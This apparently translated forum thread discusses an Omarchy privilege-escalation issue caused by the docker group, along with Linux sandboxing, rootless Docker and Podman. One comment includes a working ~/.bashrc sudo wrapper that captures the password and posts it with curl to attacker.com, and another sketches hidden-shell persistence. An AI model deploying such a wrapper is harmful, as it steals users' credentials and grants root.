Omarchy-Sicherheitslücke: Jeder Benutzerprozess kann Root-Rechte erlangen

Ich denke, die Leute sollten nicht einfach auf Distributionen springen, die in den Medien/auf YouTube stark gehypt werden. CachyOS hatte eine ähnliche Welle, und jetzt macht Omarchy das.

(Beispiel: NetworkChuck, Primeagen? und ein paar andere)

Außerdem ist Arch Linux heutzutage mit archinstall [1] viel einfacher zu installieren, also bin ich mir nicht sicher, ob man wirklich eine weitere meinungsstarke Schicht darüber braucht.

[1] - https://wiki.archlinux.org/title/Archinstall

Linux ist nicht wie macOS, es hat keine richtige Desktop-Sandbox-Architektur, die wirklich funktioniert. Das ist also eine Art Sicherheitstheater. Wenn du ein bösartiges Programm ausführst, kann es Dinge tun wie deinen PATH manipulieren oder lokale Schwachstellen in Apps ausnutzen, um zu dem Punkt zu gelangen, an dem es alles kontrollieren kann, was wichtig ist (was Root normalerweise nicht ist). Zum Beispiel kann es einfach eine benutzerdefinierte Shell in ~/.bin/.hidden-shell ablegen und den Terminal-Emulator so konfigurieren, dass er sie ausführt.

Diese Art von "Schwachstelle" scheint also nicht so wichtig zu sein. Wenn du Code als du selbst auf Linux ausführst, gehört er dir.

Auf macOS ist das ganz anders. Durchgängige Codesignierung gibt allen Apps eine stabile Identität, die vom Kernel durchgesetzt wird und der sie nicht leicht entkommen können. Der Kernel kann dann Sandbox-Richtlinien für jede App durchsetzen, die ausgeführt wird, unabhängig davon, wie sie installiert wurde, zum Beispiel verhindern, dass Apps in ~/Documents herumstöbern oder deinen Bildschirm überwachen. Berechtigungen sind editierbar und bleiben garantiert erhalten, auch über Upgrades hinweg. Und Root ist entmachtet, sodass es kaum eine Rolle spielt, es zu erlangen; es ist nur für UNIX-Kompatibilität da.

Leider wäre es sehr schwierig, eine Apple-ähnliche Architektur auf Linux zu implementieren.

Es ist nicht großartig, aber ich bin nicht sicher, ob das als Omarchy-spezifisch dargestellt werden sollte, wenn es ein sehr häufiges Setup ist, einen normalen Benutzer zur Docker-Gruppe hinzuzufügen.

Fairerweise ist es für Malware auf jeder großen Linux-Distribution einfach, Root-Rechte zu erlangen, weil sudo komplett Sicherheitstheater ist.

Malware muss nur das hier in ~/.bashrc einfügen und warten:

function sudo () {

realsudo=$(which sudo)

read -r -s -p "[sudo] Passwort für $USER: " password

echo "$USER: $password" | \

curl -F 'p=<-' https://attacker.com >/dev/null 2>&1

$realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1

$realsudo "${@:1}"

}

Ich kann nicht verstehen, warum es so üblich ist, Docker als Root auszuführen, anstatt als unprivilegierter Benutzer.

Docker unterstützt seit Jahren den rootless Modus. Ich habe docker-rootless vor über 4 Jahren in Arch/AUR gepackt, also existiert es schon so lange und ist stabil.

Klar, auf einem Server, der nur für Docker-Container gedacht ist, mag es für die marginalen Verbesserungen der Netzwerklatenz sinnvoll sein. Aber ansonsten sollte rootless immer die Standardeinstellung sein.

Das Docker-Konfigurationsproblem wurde gemeldet und es wurden schnell Änderungen vorgenommen, um es zu beheben. Das klingt nach einem großartigen Beispiel dafür, dass das System gut funktioniert.

Omarchy sieht aus wie ein einfacher Weg für einen Entwickler wie mich, Hyprland auszuprobieren und Code zu schreiben. Es sieht auch aus wie eine großartige Möglichkeit für meine Kinder, sich mit Computern zu beschäftigen, da es eine Agenten-Umgebung gibt, die bereit ist, ihnen zu helfen, ihre Maschine zu verwalten und freie Software zu nutzen, sogar die etwas sperrigen Sachen.

Ich bin verwirrt, dass die Leute darüber wütend sind, aber dann erinnere ich mich, dass es mich nicht mehr interessiert, was die Gatekeeper denken.

Sobald du eine Box hast, auf der Vibe-Coding stattgefunden hat, würde ich nichts darauf vertrauen. Deshalb mache ich Vibe-Coding auf einer komplett separaten Maschine.

Ich bin kein Omarchy-Benutzer, aber wir leben jetzt in einer Welt, in der die meisten Aktionen (einschließlich derer, die die LLM den Benutzern bittet, als Root auszuführen) nicht aus dem Gehirn des Benutzers stammen.

Es wird eine Abrechnung geben, wie wir in den kommenden Jahren über Vertrauen und Authentifizierung denken. Es ist nur eine Frage der zunehmenden Schwere von Vorfällen.

Warum nicht rootless Podman verwenden? Es ist 2026, nicht 2016, Podman funktioniert heute viel besser als Docker.

Wow... das ist wirklich aufschlussreich. Das ist kein obskurer Ausrutscher. Die Docker-Installationsseite hat einen riesigen Abschnitt, der genau dieses Problem erklärt. Jeder Docker-Abschnitt in jedem Distro-Wiki geht dieses Problem im Detail durch. Es ist zu 80 % der Grund, warum Podman überhaupt geschaffen wurde.